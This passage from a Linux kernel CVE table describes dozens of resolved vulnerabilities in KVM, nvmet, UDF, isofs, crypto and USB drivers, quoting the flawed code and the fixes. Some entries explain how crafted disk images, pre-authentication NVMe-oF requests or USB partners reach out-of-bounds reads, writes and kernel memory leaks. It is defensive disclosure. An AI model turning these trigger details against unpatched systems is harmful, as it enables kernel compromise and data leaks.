value. When compared against the size of the file (guaranteed to be positive), the negative sum is always smaller, and KVM incorrectly allows the absurd offset. Opportunistically add missing includes in kvm_mm.h (instead of relying on its parents). |
| CVE-2026-64286 | In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Clear __hyp_running_vcpu when flushing the pKVM hyp vCPU flush_hyp_vcpu() copies the host vCPU context into the hyp's private vCPU on every run. ctxt_to_vcpu() expects a guest context to have a NULL __hyp_running_vcpu, which is only ever set on the host context, so that it resolves the vCPU via container_of(). While this is generally the case, flush_hyp_vcpu() copies the context verbatim and does not enforce this, so a value provided by the host is dereferenced at EL2 (host -> EL2). Fix by clearing __hyp_running_vcpu after the copy. |
| CVE-2026-64287 | In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Bound used_lrs when flushing the pKVM hyp vCPU flush_hyp_vcpu() copies the host vGIC state into the hyp's private vCPU on every run. The vGIC list register save and restore use used_lrs as their loop bound and expect it to stay within the number of implemented list registers. While this is generally the case, flush_hyp_vcpu() copies vgic_v3 verbatim and does not enforce this, so a value provided by the host is used at EL2 to index vgic_lr[] and access ICH_LR<n>_EL2 (host -> EL2). Fix by clamping used_lrs to the number of implemented list registers after the copy, as the trusted path already does in vgic_flush_lr_state(). The number of implemented list registers is constant after init, so it is replicated once from kvm_vgic_global_state.nr_lr into hyp_gicv3_nr_lr rather than read on every entry. |
| CVE-2026-64289 | In the Linux kernel, the following vulnerability has been resolved: iommufd: Set upper bounds on cache invalidation entry_num and entry_len iommufd_hwpt_invalidate() takes a user-controlled entry_num and entry_len, each bounded only by U32_MAX. An entry_len beyond the kernel's struct size makes the copy helper verify the extra bytes are zero, scanning that excess in one uninterruptible pass; a multi-gigabyte value over zeroed user memory trips the soft-lockup watchdog. A large entry_num is the other half, driving the backend invalidation loop with no reschedule. The VT-d nested handler, for one, copies each entry and flushes caches per iteration, pinning the CPU on a non-preemptible kernel. Cap both in the ioctl. entry_len is held under PAGE_SIZE, above any request struct, and entry_num under 1 << 19, the order of a hardware invalidation queue and well beyond any real batch, bounding the per-call loop length. |
| CVE-2026-64294 | In the Linux kernel, the following vulnerability has been resolved: mm: do file ownership checks with the proper mount idmap Ever since idmapped mounts were introduced, inode ownership checks (for side-channel protection) in mincore() and madvise(MADV_PAGEOUT) were done against the nop_mnt_idmap, which completely ignores the file's mount's idmap. This results in odd edgecases like: 1) mount/bind-mount with an idmap userA:userB:1 2) userB runs an owner_or_capable() check on file that is owned by userA on-disk/in-memory, but owned by userB after idmap translation 3) owner_or_capable() mysteriously fails as the correct idmap wasn't supplied In the case of mincore/madvise MADV_PAGEOUT, this is usually benign, because file_permission(file, MAY_WRITE) will probably succeed, as it uses the proper idmap internally, but it does not need to be the case on e.g a 0444 file where even the owner itself doesn't have permissions to write to it. Since this is clearly not trivial to get right, introduce a file_owner_or_capable() that can carry the correct semantics, and switch the various users in mm to it. The issue was found by manual code inspection & an off-list discussion with Jan Kara. |
| CVE-2026-64296 | In the Linux kernel, the following vulnerability has been resolved: exfat: bound uniname advance in exfat_find_dir_entry() In exfat_find_dir_entry(), each TYPE_EXTEND (file name) entry advances the output pointer by a fixed amount while the loop guard only tracks the accumulated name length: if (++order == 2) uniname = p_uniname->name; else uniname += EXFAT_FILE_NAME_LEN; len = exfat_extract_uni_name(ep, entry_uniname); name_len += len; unichar = *(uniname+len); *(uniname+len) = 0x0; uniname grows by EXFAT_FILE_NAME_LEN (15) per name entry, but name_len grows only by the actual extracted length, which is shorter when a name fragment contains an early NUL. The only guard is `name_len >= MAX_NAME_LENGTH`, so a crafted directory with many short name fragments lets uniname run far past the p_uniname->name[MAX_NAME_LENGTH + 3] buffer while name_len stays small, causing an out-of-bounds read and write at *(uniname+len). The sibling extractor exfat_get_uniname_from_ext_entry() already stops on a short fragment (the lockstep `len != EXFAT_FILE_NAME_LEN` guard added in commit d42334578eba ("exfat: check if filename entries exceeds max filename length")); exfat_find_dir_entry() never got the equivalent. Track the per-entry write offset as a count and reject a fragment once the offset, or the offset plus the extracted length, would exceed MAX_NAME_LENGTH, before forming the output pointer. |
| CVE-2026-64297 | In the Linux kernel, the following vulnerability has been resolved: module: decompress: check return value of module_extend_max_pages() module_extend_max_pages() calls kvrealloc() internally and returns -ENOMEM on allocation failure. The return value is never checked. If the initial allocation fails, info->pages remains NULL and info->max_pages remains 0. Subsequent calls to module_get_next_page() will attempt to dynamically grow the array by calling module_extend_max_pages(info, 0) since info->used_pages is 0. This results in kvrealloc(NULL, 0) returning ZERO_SIZE_PTR, which is treated as a success, leading to a dereference of ZERO_SIZE_PTR and a kernel oops. Fix: add the missing error check after module_extend_max_pages() and return immediately on failure. This matches the pattern used by every other kvrealloc() caller in the module loading path. [Sami: Corrected the analysis in the commit message.] |
| CVE-2026-64298 | In the Linux kernel, the following vulnerability has been resolved: NFSv4: include MAY_WRITE in open permission mask for O_TRUNC POSIX requires write permission to truncate a file, so an open() that specifies O_TRUNC must be authorized for write access regardless of the O_ACCMODE access mode. nfs_open_permission_mask() builds the access mask passed to nfs_may_open(), which is the local authorization gate for OPENs the client serves itself from a cached write delegation via the can_open_delegated() path in nfs4_try_open_cached(). The mask is derived from O_ACCMODE alone, so an open(O_RDONLY | O_TRUNC) against a file the caller cannot write requests only MAY_READ and passes the local check. The OPEN is then satisfied locally and the truncation is issued to the server as a SETATTR(size=0) over the delegation stateid, which the server accepts under standard write-delegation semantics. POSIX requires that this open fail with EACCES. Include MAY_WRITE in the mask whenever O_TRUNC is set so the local check matches the access the server would have enforced. |
| CVE-2026-64299 | In the Linux kernel, the following vulnerability has been resolved: tracing: Prevent out-of-bounds read in glob matching String event fields are not necessarily NUL-terminated, so the filter predicate functions (filter_pred_string(), filter_pred_strloc() and filter_pred_strrelloc()) pass the field length to the regex match callbacks, and the length-aware matchers honour it. regex_match_glob() was the exception: it ignored the length and called glob_match(), which scans the string until it hits a NUL byte. Some string fields are not NUL-terminated. One example is the dynamic char array of the xfs_* namespace tracepoints, which is copied without a trailing NUL. For such a field, glob matching reads past the end of the event field, causing a KASAN slab-out-of-bounds read in glob_match(), reached via regex_match_glob() and filter_match_preds() from the xfs_lookup tracepoint. Add a length-bounded glob_match_len() and use it from regex_match_glob() so glob matching always stops at the field boundary. The matching loop is factored into a shared helper so glob_match() keeps its behaviour. |
| CVE-2026-64301 | In the Linux kernel, the following vulnerability has been resolved: regulator: scmi: fix of_node refcount leak in scmi_regulator_probe() scmi_regulator_probe() calls of_find_node_by_name() which takes a reference on the returned device node. On the error path where process_scmi_regulator_of_node() fails, the function returns without calling of_node_put() on the child node, leaking the reference. Add of_node_put(np) on the error path to properly release the reference. |
| CVE-2026-64303 | In the Linux kernel, the following vulnerability has been resolved: spi: fsl-lpspi: terminate the RX channel on TX prepare failure path When dmaengine_prep_slave_sg() fails for the TX channel, the error path terminates the TX DMA channel but leaves the RX channel running. Since the RX channel was already submitted and issued prior to preparing the TX descriptor, returning -EINVAL causes the SPI core to unmap the DMA buffers while the RX DMA engine continues writing to them, leading to potential memory corruption or use-after-free. Terminate the RX channel before returning on the TX prepare failure path. |
| CVE-2026-64304 | In the Linux kernel, the following vulnerability has been resolved: crypto: qat - validate RSA CRT component lengths The generic RSA key parser (rsa_helper.c) bounds each CRT component (p, q, dp, dq, qinv) by the modulus size n_sz, but qat_rsa_setkey_crt() allocates half-size DMA buffers (key_sz / 2) and right-aligns each component with: memcpy(dst + half_key_sz - len, src, len) When a CRT component is larger than half_key_sz the subtraction underflows and memcpy writes past the DMA buffer, causing memory corruption. Add a len > half_key_sz check next to the existing !len check for each of the five CRT components so the driver falls back to the non-CRT path instead of writing out of bounds. |
| CVE-2026-64305 | In the Linux kernel, the following vulnerability has been resolved: crypto: qat - protect service table iterations with service_lock The service_table list is protected by service_lock when entries are added or removed (in adf_service_add() and adf_service_remove()), but several functions iterate over the list without holding this lock. A concurrent adf_service_register() or adf_service_unregister() call could modify the list during traversal, leading to list corruption or a use-after-free. Fix this by holding service_lock across all list_for_each_entry() iterations of service_table in adf_dev_init(), adf_dev_start(), adf_dev_stop(), adf_dev_shutdown(), adf_dev_restarting_notify(), adf_dev_restarted_notify(), and adf_error_notifier(). The lock ordering is safe: callers of the static helpers (adf_dev_up() and adf_dev_down()) acquire state_lock before service_lock, and no event_hld callback or service_lock holder ever acquires state_lock in the reverse order. |
| CVE-2026-64306 | In the Linux kernel, the following vulnerability has been resolved: crypto: drbg - Fix returning success on failure in CTR_DRBG drbg_ctr_generate() sometimes returns success when it fails, leaving the output buffer uninitialized. Fix it. |
| CVE-2026-64312 | In the Linux kernel, the following vulnerability has been resolved: crypto: pcrypt - restore callback for non-parallel fallback pcrypt installs pcrypt_aead_done() on the child AEAD request before trying to submit it through padata. If padata_do_parallel() returns -EBUSY, pcrypt falls back to calling the child AEAD directly. That fallback must not keep the padata completion callback. Otherwise an asynchronous completion runs pcrypt_aead_done() even though the request was never enrolled in padata. Restore the original request callback and callback data before calling the child AEAD directly. This keeps the fallback path aligned with a direct AEAD request while leaving the parallel path unchanged. |
| CVE-2026-64313 | In the Linux kernel, the following vulnerability has been resolved: crypto: ecc - Fix carry overflow in vli multiplication The carry flag calculation fails when r01.m_high is saturated (0xFFFFFFFFFFFFFFFF) and addition of lower bits overflows. The condition (r01.m_high < product.m_high) doesn't handle the case where r01.m_high == product.m_high and an additional carry exists from lower-bit overflow. When commit 3c4b23901a0c ("crypto: ecdh - Add ECDH software support") introduced crypto/ecc.c, it split the muladd() function in the micro-ecc library into separate mul_64_64() and add_128_128() helpers. It seems the check got lost in translation. Add proper handling for this boundary by accounting for the carry from the lower addition. |
| CVE-2026-64315 | In the Linux kernel, the following vulnerability has been resolved: crypto: caam - use print_hex_dump_devel to guard key hex dumps Use print_hex_dump_devel() for dumping sensitive key material in *_setkey() to avoid leaking secrets at runtime when CONFIG_DYNAMIC_DEBUG is enabled. |
| CVE-2026-64316 | In the Linux kernel, the following vulnerability has been resolved: crypto: caam - use print_hex_dump_devel to guard key hex dumps Use print_hex_dump_devel() for dumping sensitive key material in *_setkey() and gen_split_key() to avoid leaking secrets at runtime when CONFIG_DYNAMIC_DEBUG is enabled. |
| CVE-2026-64317 | In the Linux kernel, the following vulnerability has been resolved: isofs: bound Rock Ridge symlink components to the SL record get_symlink_chunk() and the SL handling in parse_rock_ridge_inode_internal() walk the variable-length components of a Rock Ridge "SL" (symbolic link) record. Each component is a two-byte header (flags, len) followed by len bytes of text, so it occupies slp->len + 2 bytes. Both loops read slp->len and advance to the next component, and get_symlink_chunk() additionally does memcpy(rpnt, slp->text, slp->len), but neither checks that the component lies within the SL record before dereferencing it. A crafted SL record whose component declares a len that runs past the record (rr->len) therefore triggers an out-of-bounds read of up to 255 bytes. When the record sits at the tail of its backing buffer - for example a small kmalloc()ed continuation block reached through a CE record - the read crosses the allocation; get_symlink_chunk() then copies the out-of-bounds bytes into the symlink body returned to user space by readlink(), disclosing adjacent kernel memory. ISO 9660 images are routinely mounted from untrusted removable media - desktop environments auto-mount them (e.g. via udisks2) without CAP_SYS_ADMIN - so the record contents are attacker-controlled. Reject any component that does not fit in the remaining record bytes before using it. In get_symlink_chunk() return NULL, like the existing output-buffer (plimit) checks, so a malformed record makes readlink() fail with -EIO rather than silently returning a truncated target; in parse_rock_ridge_inode_internal() stop the inode-size walk. |
| CVE-2026-64318 | In the Linux kernel, the following vulnerability has been resolved: partitions: aix: bound the pp_count scan to the ppe array aix_partition() reads the physical volume descriptor into a fixed-size struct pvd and then scans its physical-partition-extent array: int numpps = be16_to_cpu(pvd->pp_count); ... for (i = 0; i < numpps; i += 1) { struct ppe *p = pvd->ppe + i; ... lp_ix = be16_to_cpu(p->lp_ix); pvd points at a single kmalloc()'d struct pvd whose ppe[] member holds a fixed ARRAY_SIZE(pvd->ppe) (1016) entries, but the loop runs up to the on-disk pp_count. pp_count is an unvalidated __be16 read straight from the descriptor, so a crafted AIX image with pp_count larger than 1016 drives the loop to read pvd->ppe[i] past the end of the allocation (up to 65535 entries, ~2 MB out of bounds). The partition scan runs without mounting anything, when a block device with a crafted AIX/IBM partition table appears (an attacker-supplied image attached with losetup -P, or a device auto-scanned by udev), via msdos_partition() -> aix_partition(). Clamp the scan to the number of entries the ppe[] array can hold. |
| CVE-2026-64319 | In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: validate reply message payload bounds against transfer length nvmet_auth_reply() accesses the variable-length rval[] array using attacker-controlled hl (hash length) and dhvlen (DH value length) fields without verifying they fit within the allocated buffer of tl bytes. A malicious NVMe-oF initiator can craft a DHCHAP_REPLY message with a small transfer length but large hl/dhvlen values, causing out-of-bounds heap reads when the target processes the DH public key (rval + 2*hl) or performs the host response memcmp. With DH authentication configured, the OOB pointer is passed directly to sg_init_one() and read by crypto_kpp_compute_shared_secret(), reaching up to 526 bytes past the buffer. This is exploitable pre-authentication. Add bounds validation ensuring sizeof(*data) + 2*hl + dhvlen <= tl before any access to the variable-length fields. Discovered by Atuin - Automated Vulnerability Discovery Engine. |
| CVE-2026-64320 | In the Linux kernel, the following vulnerability has been resolved: nvmet: fix pre-auth out-of-bounds heap read in Discovery Get Log Page nvmet_execute_disc_get_log_page() validates only the dword alignment of the host-supplied Log Page Offset (lpo). The 64-bit offset is then added to a small kzalloc'd buffer that holds the discovery log page and the result is passed straight to nvmet_copy_to_sgl(), which memcpy()s data_len bytes out to the host with no source-side bound check: u64 offset = nvmet_get_log_page_offset(req->cmd); /* 64-bit host */ size_t data_len = nvmet_get_log_page_len(req->cmd); /* 32-bit host */ ... if (offset & 0x3) { ... } /* only check */ ... alloc_len = sizeof(*hdr) + entry_size * discovery_log_entries(req); buffer = kzalloc(alloc_len, GFP_KERNEL); ... status = nvmet_copy_to_sgl(req, 0, buffer + offset, data_len); The Discovery controller is unauthenticated -- nvmet_host_allowed() returns true unconditionally for the discovery subsystem -- so the call is reachable pre-authentication by any TCP/RDMA/FC peer that can reach the nvmet target. With a discovery log page of ~1 KiB, an attacker requesting up to 4 KiB starting at offset == alloc_len reads the next slab page out and gets its content returned over the fabric (an empirical run on a default nvmet-tcp loopback target leaked 81 canonical kernel pointers in one Get Log Page response). Pointing the offset at unmapped kernel memory faults the in-kernel memcpy and crashes (or panics, on panic_on_oops=1) the target host instead. The attacker-controlled source-side offset pattern "nvmet_copy_to_sgl(req, 0, buffer + ATTACKER_OFFSET, ...)" is unique to nvmet_execute_disc_get_log_page in the entire nvmet codebase: every other Get Log Page handler in admin-cmd.c either ignores lpo (and silently starts every response at offset 0) or tracks a local destination offset with a fixed source pointer. Validate the host-supplied offset against the log page size, cap the copy length to what is actually available, and zero-fill any remainder of the host transfer buffer. The zero-fill matches the existing short-response pattern in nvmet_execute_get_log_changed_ns() (admin-cmd.c) and prevents leaking transport SGL contents when the host asks for more bytes than the log page contains. |
| CVE-2026-64321 | In the Linux kernel, the following vulnerability has been resolved: nvme: target: rdma: fix ndev refcount leak on queue connect nvmet_rdma_queue_connect() calls nvmet_rdma_find_get_device() which acquires a reference on the returned ndev via kref_get(). On the path where the host queue backlog is exceeded and the function returns NVME_SC_CONNECT_CTRL_BUSY, reference of ndev is not released, leaking the kref. Fix this by adding a goto to the existing put_device label before the early return. |
| CVE-2026-64322 | In the Linux kernel, the following vulnerability has been resolved: udf: validate sparing table length as an entry count, not a byte count udf_load_sparable_map() accepts a sparing table when sizeof(*st) + le16_to_cpu(st->reallocationTableLen) > sb->s_blocksize is false, i.e. it treats reallocationTableLen as a number of BYTES that must fit in the block. But the table is walked as an array of 8-byte sparingEntry elements: for (i = 0; i < le16_to_cpu(st->reallocationTableLen); i++) { struct sparingEntry *entry = &st->mapEntry[i]; ... entry->origLocation ... } in udf_get_pblock_spar15() and udf_relocate_blocks(). A reallocationTableLen of N therefore passes the check whenever sizeof(*st) + N <= blocksize, yet the consumers index sizeof(*st) + N * sizeof(struct sparingEntry) bytes -- up to ~8x the block. On a crafted UDF image this is an out-of-bounds read in udf_get_pblock_spar15(); udf_relocate_blocks() additionally feeds the same length to udf_update_tag(), whose crc_itu_t() reads far past the block, and its memmove() through st->mapEntry[] is an out-of-bounds write. Validate reallocationTableLen as the entry count it is, with struct_size(). |
| CVE-2026-64323 | In the Linux kernel, the following vulnerability has been resolved: udf: validate VAT header length against the VAT inode size udf_load_vat() takes the virtual partition's start offset straight from the on-disk VAT 2.0 header without checking it against the VAT inode size: map->s_type_specific.s_virtual.s_start_offset = le16_to_cpu(vat20->lengthHeader); map->s_type_specific.s_virtual.s_num_entries = (sbi->s_vat_inode->i_size - map->s_type_specific.s_virtual.s_start_offset) >> 2; lengthHeader is a fully attacker-controlled 16-bit value. If it exceeds the VAT inode size, the s_num_entries subtraction underflows to a huge count, which defeats the "block > s_num_entries" bound in udf_get_pblock_virt15(); and on the ICB-inline path that function reads ((__le32 *)(iinfo->i_data + s_start_offset))[block] so a large s_start_offset indexes past the inode's in-ICB data. Mounting a crafted UDF image with a virtual (VAT) partition then triggers an out-of-bounds read. Reject a VAT whose header length does not leave room for at least one entry within the VAT inode. |
| CVE-2026-64324 | In the Linux kernel, the following vulnerability has been resolved: udf: validate free block extents against the partition length udf_free_blocks() checks the logical block number and count against the partition length, but drops the extent offset from that final bound. A crafted extent can pass the guard while logicalBlockNum + offset + count points past the partition, which later indexes past the space bitmap array. A single ftruncate(2) on a file backed by such an extent reliably panics the kernel. This is a local availability issue. On desktop systems where UDisks/polkit allows the active user to mount removable UDF media without CAP_SYS_ADMIN, an unprivileged local user can supply the crafted filesystem and trigger the panic by truncating a writable file on it. Systems that require root or CAP_SYS_ADMIN to mount the image have a higher prerequisite. No confidentiality or integrity impact is claimed: the reproduced primitive is an out-of-bounds read of a bitmap pointer slot followed by a kernel panic. Use the already computed logicalBlockNum + offset + count value for the partition length check. Also make load_block_bitmap() reject an out-of-range block group before indexing s_block_bitmap[], so corrupted callers cannot walk past the flexible array. |
| CVE-2026-64326 | In the Linux kernel, the following vulnerability has been resolved: block: skip sync_blockdev() on surprise removal in bdev_mark_dead() bdev_mark_dead()'s @surprise == true means the device is already gone. The filesystem callback fs_bdev_mark_dead() honours this and skips sync_filesystem(), but the bare block device path (no ->mark_dead op) lost its !surprise guard when the holder ->mark_dead callback was wired up (see Fixes), and now calls sync_blockdev() unconditionally, which can hang forever waiting on writeback that can no longer complete. syzkaller hit this via nvme_reset_work()'s "I/O queues lost" path: nvme_mark_namespaces_dead() -> blk_mark_disk_dead() -> bdev_mark_dead(bdev, true) -> sync_blockdev() blocks in folio_wait_writeback(), wedging the reset worker and every task waiting on it. Skip the sync on surprise removal, matching fs_bdev_mark_dead(); invalidate_bdev() still runs. Orderly removal (surprise == false) is unchanged. Found by FuzzNvme(Syzkaller with FEMU fuzzing framework). |
| CVE-2026-64329 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: ccg: Fix use-after-free of ucsi on remove The threaded IRQ handler ccg_irq_handler() calls ucsi_notify_common(), which on a connector-change event calls ucsi_connector_change() and schedules connector work. In ucsi_ccg_remove(), ucsi_destroy() frees uc->ucsi (kfree) before free_irq() is called, so a handler invocation already in flight may access the freed object after ucsi_destroy(). CPU 0 (remove) | CPU 1 (threaded IRQ) ucsi_destroy(uc->ucsi) | ccg_irq_handler() kfree(ucsi) // FREE | ucsi_notify_common(uc->ucsi) // USE Move free_irq() before ucsi_destroy() in the remove path. It is kept after ucsi_unregister(): ucsi_unregister() cancels connector work whose handler issues GET_CONNECTOR_STATUS through ucsi_send_command_common(), which waits for a completion that is signalled from the IRQ handler, so the IRQ must stay active until that work has been cancelled. The probe error path already orders free_irq() before ucsi_destroy(). This bug was found by static analysis. |
| CVE-2026-64330 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: tcpm: Validate SVID index in svdm_consume_modes() In svdm_consume_modes(), the SVID value is read from pmdata->svids using pmdata->svid_index as an array index without bounds validation: paltmode->svid = pmdata->svids[pmdata->svid_index]; If pmdata->svid_index is driven beyond SVID_DISCOVERY_MAX (16), it results in an out-of-bounds read of the pmdata->svids array. Because pd_mode_data is embedded inside struct tcpm_port, indexing past svids reads into adjacent fields. In particular: - At index 16, it reads the altmodes count. - At index 18 and beyond, it reads into altmode_desc[], which contains partner-supplied SVDM Discovery Modes VDOs. By injecting a chosen SVID into altmode_desc[0].vdo and driving svid_index to 20, the partner can force paltmode->svid to be loaded with an arbitrary, partner- chosen SVID, which is then registered via typec_partner_register_altmode(). Fix this by validating that pmdata->svid_index is non-negative and strictly less than pmdata->nsvids before accessing the pmdata->svids array inside svdm_consume_modes(). |
| CVE-2026-64331 | In the Linux kernel, the following vulnerability has been resolved: usbip: vudc: fix NULL deref in vep_dequeue() vep_alloc_request() wasn't initializing vrequest->udc, so cancellations on the FunctionFS AIO path were arriving in vep_dequeue without a valid UDC reference. Since vrequest->udc is never actually properly used anywhere, we opt to remove it, and update vep_dequeue to obtain a reference to the udc with ep_to_vudc(), consistent with the other vep_ ops. AFAICT this bug has existed for ~10 years. Seems that nobody has really stressed the FunctionFS AIO path on usbip's vudc. I tested this fix in a QEMU aarch64 guest driving FunctionFS endpoints via AIO. Before the fix, running `usbip attach` from the host would cause the guest to oops with the following backtrace: Call trace: vep_dequeue+0x1c/0xe4 (P) usb_ep_dequeue+0x14/0x20 ffs_aio_cancel+0x24/0x34 __arm64_sys_io_cancel+0xb0/0x124 do_el0_svc+0x68/0x100 el0_svc+0x18/0x5c el0t_64_sync_handler+0x98/0xdc el0t_64_sync+0x154/0x158 |
| CVE-2026-64332 | In the Linux kernel, the following vulnerability has been resolved: USB: ulpi: fix memory leak on registration failure The allocated device name is never freed on early ULPI device registration failures. Fix this by initialising the device structure earlier and releasing the initial reference whenever registration fails. |
| CVE-2026-64333 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: digi_acceleport: fix write buffer corruption The digi_write_inb_command() is supposed to wait for the write urb to become available or return an error, but instead it updates the transfer buffer and tries to resubmit the urb on timeout. To make things worse, for commands like break control where no timeout is used, the driver would corrupt the urb immediately due to a broken jiffies comparison (on 32-bit machines this takes five minutes of uptime to trigger due to INITIAL_JIFFIES). Fix this by adding the missing return on timeout and waiting indefinitely when no timeout has been specified as intended. This issue was (sort of) flagged by Sashiko when reviewing an unrelated change to the driver. |
| CVE-2026-64334 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: digi_acceleport: fix hard lockup on disconnect If submitting the OOB write urb fails persistently (e.g if the device is being disconnected) the driver would loop indefinitely with interrupts disabled. Check for urb submission errors when sending OOB commands to avoid hanging if, for example, open(), set_termios() or close() races with a physical disconnect. This is issue was flagged by Sashiko when reviewing an unrelated change to the driver. |
| CVE-2026-64335 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: digi_acceleport: fix broken rx after throttle If the port is closed while throttled, the read urb is never resubmitted and the port will not receive any further data until the device is reconnected (or the driver is rebound). Clear the throttle flags and submit the urb if needed when opening the port. |
| CVE-2026-64336 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: keyspan_pda: fix information leak The write() callback is supposed to return the number of characters accepted or a negative errno. Since the addition of write fifo support the keyspan_pda implementation will however return the number characters submitted to the device if the write urb is not already in use. If this number is larger than the number of characters passed to write(), the line discipline continues writing data from beyond the tty write buffer. Fix the information leak by making sure that keyspan_pda_write_start() returns zero on success as intended. |
| CVE-2026-64337 | In the Linux kernel, the following vulnerability has been resolved: usb: mtu3: unmap request DMA on queue failure mtu3_gadget_queue() maps the request before checking whether the QMU GPD ring can accept another transfer. the request is returned with -EAGAIN before it is linked on the endpoint request list if mtu3_prepare_transfer() fails. Normal completion and dequeue paths unmap requests from mtu3_req_complete(), but this error path never reaches that helper, so the DMA mapping is left active. Unmap the request before returning from the failed queue path. |
| CVE-2026-64338 | In the Linux kernel, the following vulnerability has been resolved: USB: misc: uss720: unregister parport on probe failure uss720_probe() registers a parport before reading the 1284 register used to detect unsupported Belkin F5U002 adapters. If get_1284_register() fails, the error path drops the driver private data and the USB device reference, but leaves the parport device registered. Leaving the port registered is more than a private allocation leak: parport_register_port() has already reserved a parport number and registered the parport bus device, while pp->private_data still points at the private data that the common error path is about to release. Undo the pre-announce registration in the get_1284_register() failure branch before jumping to the common private-data cleanup path. Clear priv->pp first, matching the disconnect path and avoiding a stale pointer in the private data. This issue was identified during our ongoing static-analysis research while reviewing kernel code. |
| CVE-2026-64340 | In the Linux kernel, the following vulnerability has been resolved: USB: legousbtower: fix use-after-free on disconnect race mutex_unlock() may access the mutex structure after releasing the lock and therefore cannot be used to manage lifetime of objects directly (unlike spinlocks and refcounts). [1][2] Use a kref to release the driver data to avoid use-after-free in mutex_unlock() when release() races with disconnect(). [1] a51749ab34d9 ("locking/mutex: Document that mutex_unlock() is non-atomic") [2] 2b9d9e0a9ba0 ("locking/mutex: Clarify that mutex_unlock(), and most other sleeping locks, can still use the lock object after it's unlocked") |
| CVE-2026-64341 | In the Linux kernel, the following vulnerability has been resolved: USB: iowarrior: fix use-after-free on disconnect race mutex_unlock() may access the mutex structure after releasing the lock and therefore cannot be used to manage lifetime of objects directly (unlike spinlocks and refcounts). [1][2] Use a kref to release the driver data to avoid use-after-free in mutex_unlock() when release() races with disconnect(). [1] a51749ab34d9 ("locking/mutex: Document that mutex_unlock() is non-atomic") [2] 2b9d9e0a9ba0 ("locking/mutex: Clarify that mutex_unlock(), and most other sleeping locks, can still use the lock object after it's unlocked") |
| CVE-2026-64342 | In the Linux kernel, the following vulnerability has been resolved: USB: iowarrior: fix use-after-free on disconnect Submitted write URBs are not stopped on close() and therefore need to be stopped unconditionally on disconnect() to avoid use-after-free in the completion handler. |
| CVE-2026-64343 | In the Linux kernel, the following vulnerability has been resolved: USB: ldusb: fix use-after-free on disconnect race mutex_unlock() may access the mutex structure after releasing the lock and therefore cannot be used to manage lifetime of objects directly (unlike spinlocks and refcounts). [1][2] Use a kref to release the driver data to avoid use-after-free in mutex_unlock() when release() races with disconnect(). [1] a51749ab34d9 ("locking/mutex: Document that mutex_unlock() is non-atomic") [2] 2b9d9e0a9ba0 ("locking/mutex: Clarify that mutex_unlock(), and most other sleeping locks, can still use the lock object after it's unlocked") |
| CVE-2026-64344 | In the Linux kernel, the following vulnerability has been resolved: USB: idmouse: fix use-after-free on disconnect race mutex_unlock() may access the mutex structure after releasing the lock and therefore cannot be used to manage lifetime of objects directly (unlike spinlocks and refcounts). [1][2] Use a kref to release the driver data to avoid use-after-free in mutex_unlock() when release() races with disconnect(). [1] a51749ab34d9 ("locking/mutex: Document that mutex_unlock() is non-atomic") [2] 2b9d9e0a9ba0 ("locking/mutex: Clarify that mutex_unlock(), and most other sleeping locks, can still use the lock object after it's unlocked") |
| CVE-2026-64345 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_printer: take kref only for successful open printer_open() returns -EBUSY when the character device is already open, but it increments dev->kref regardless of the return value. VFS does not call ->release() for a failed open, so every rejected second open permanently leaks one reference. Move kref_get() into the successful-open branch. |
| CVE-2026-64346 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: udc: Fix use-after-free in gadget_match_driver The udc structure acts as the management structure for the gadget, but their lifecycles are decoupled. A race condition exists where usb_del_gadget() frees the udc memory (e.g., via mode-switch work) while gadget_match_driver() concurrently accesses the freed udc memory (e.g., via configfs), causing a Use-After-Free (UAF) that triggers a NULL pointer dereference when the freed memory is zeroed: [39430.908615][ T1171] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 [39430.911397][ T1171] pc : __pi_strcmp+0x20/0x140 [39430.911441][ T1171] lr : gadget_match_driver+0x34/0x60 ... [39430.911890][ T1171] usb_gadget_register_driver_owner+0x50/0xf8 [39430.911910][ T1171] gadget_dev_desc_UDC_store+0xf4/0x140 [39430.931308][ T1171] configfs_write_iter+0xec/0x134 [39430.957058][ T1171] Workqueue: events_freezable __dwc3_set_mode [39430.957287][ T1171] dwc3_gadget_exit+0x34/0x8c [39430.957304][ T1171] __dwc3_set_mode+0xc0/0x664 Fix this by ensuring the udc structure remains allocated until the gadget is released. To achieve this, introduce a new usb_gadget_release() routine to the core. When the gadget is added, usb_add_gadget() stores the gadget's release routine in the udc structure and takes a reference to the udc. When the gadget is released, usb_gadget_release() drops the reference to the udc and then calls the gadget's release routine. |
| CVE-2026-64347 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: composite: fix dead empty check in the USB_DT_OTG handler The OTG branch of composite_setup() falls back to the first configuration when none is selected: if (cdev->config) config = cdev->config; else config = list_first_entry(&cdev->configs, struct usb_configuration, list); if (!config) goto done; ... memcpy(req->buf, config->descriptors[0], value); list_first_entry() never returns NULL. On an empty list it returns container_of() of the list head. So the "if (!config)" check is dead. When cdev->configs is empty, config points at the head inside struct usb_composite_dev. config->descriptors[0] reads whatever sits at that offset. The memcpy copies up to w_length bytes of it into the response buffer. cdev->configs can be empty in two cases. One is a teardown race on gadget unbind with a control transfer in flight. The other is a driver that sets is_otg before it adds a config. A reproducer that holds cdev->configs empty triggers a KASAN fault in this branch. Use list_first_entry_or_null() so the existing check does its job. |
